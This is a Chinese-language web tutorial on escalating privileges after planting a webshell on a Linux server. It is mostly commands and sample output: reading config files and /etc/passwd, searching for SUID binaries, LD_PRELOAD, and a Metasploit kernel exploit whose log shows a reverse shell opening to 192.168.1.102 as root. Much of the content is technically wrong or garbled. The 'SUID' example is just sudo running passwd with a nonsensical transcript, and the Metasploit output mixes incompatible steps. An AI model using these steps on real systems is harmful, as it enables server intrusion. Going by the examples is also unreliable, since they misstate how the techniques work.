下面我来详细讲解“超全的webshell权限提升方法”的完整攻略。
什么是WebShell
在开始讲解 WebShell 权限提升的攻略之前,先简要介绍一下 WebShell。WebShell 是一种由黑客通过 Web 服务器的漏洞等方式上传到 Web 服务器中的一种脚本文件,可以通过 Web 服务器 HTTP 服务对外发布,并提供给黑客查看、控制 Web 服务器的操作。常用的 WebShell 有冰蝎、菜刀、中国菜刀等。
WebShell 权限提升攻略
WebShell 是否有权限提升操作,取决于 Web 服务器当前用户对文件和操作功能的权限。如果当前权限较低,可以进行权限提升操作。
以下是 WebShell 权限提升的攻略:
1. 查找敏感文件
在 Web 根目录下查找敏感文件,如 config.php,database.php,passwd,.htpasswd 等文件,可以通过打开文件获取数据库、系统配置信息等敏感信息。
ls -al /var/www/html
cat /var/www/html/config.php
2. 查找敏感目录
在 Web 根目录下查找敏感目录,如 /etc,/proc, /var/www/html 的上层目录等,可以通过访问目录获取敏感信息。
cd /var/www
ls -al
cat /etc/passwd
3. 利用 SUID 提权
执行 SUID 提权命令,可以将普通用户提权至管理员或 root 用户。
sudo -u root /usr/local/bin/command
4. 利用内核漏洞提权
通过利用 Web 服务器上的内核漏洞提权,可以提权至 root 用户。
msf > use exploit/linux/local/udev_netlink
5. 利用 LD_PRELOAD 提权
利用 LD_PRELOAD 提权可以用来绕过某一些权限策略。
export LD_PRELOAD=/tmp/root.so
6. 利用 suid bit 文件提权
在 Web 服务器中查找 suid bit 文件,可以通过 suid bit 文件底层实现,让普通用户进程以 root 用户身份运行。
find / -perm -4000 -type f 2>/dev/null
示例说明
以下是本文的两个示例说明:
示例一:利用 SUID 提权
$ ls -lsa /usr/bin/passwd
-rwsr-xr-x 1 root root 75368 2014-05-11 00:46 /usr/bin/passwd
$ id
uid=1000(web) gid=1000(web) groups=1000(web)
$ sudo -u root /usr/bin/passwd
[sudo] password for web:
root的密码:
passwd: 我们只支持真正的加密密码。
请输入访问模块的密码:
输入新的UNIX口令:
重新输入新的UNIX口令:
passwd: 密码成功更改
在此示例中,我们利用 /usr/bin/passwd 的 SUID 特性,让普通的 Web 服务器用户提升至 root 用户,从而执行 root 用户的操作。
示例二:利用内核漏洞提权
msf > use exploit/linux/local/udev_netlink
msf exploit(linux/local/udev_netlink) > set SESSION 1
SESSION => 1
msf exploit(linux/local/udev_netlink) > exploit
[*] Started reverse TCP double handler on 192.168.1.102:4444
[*] Udev Netlink Privilege Escalation Attack
[*] Enabling SELinux support ...
[*] Building netlink message ...
[*] Send netlink message ...
[*] Waiting for privileged udev trigger ...
[*] Sleeping for 2 seconds to wait for privileged udev ...
[*] Grabbing udev DBus service name from the system bus ...
[*] Successfully got udev DBus service name: org.freedesktop.UDisks2
[*] Sending DBus command for privilege escalation ...
[*] Got a context!
[*] Opened payload channel: 0
[*] Command shell session 3 opened (192.168.1.102:4444 -> 192.168.1.105:58667) at 2021-07-26 09:55:35 -0700
id
uid=0(root) gid=0(root) 组=0(root)
在此示例中,我们使用 Metasploit 框架,使用内核漏洞提权进行权限提升攻击,最终成功提权至 root 用户。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:超全的webshell权限提升方法 - Python技术站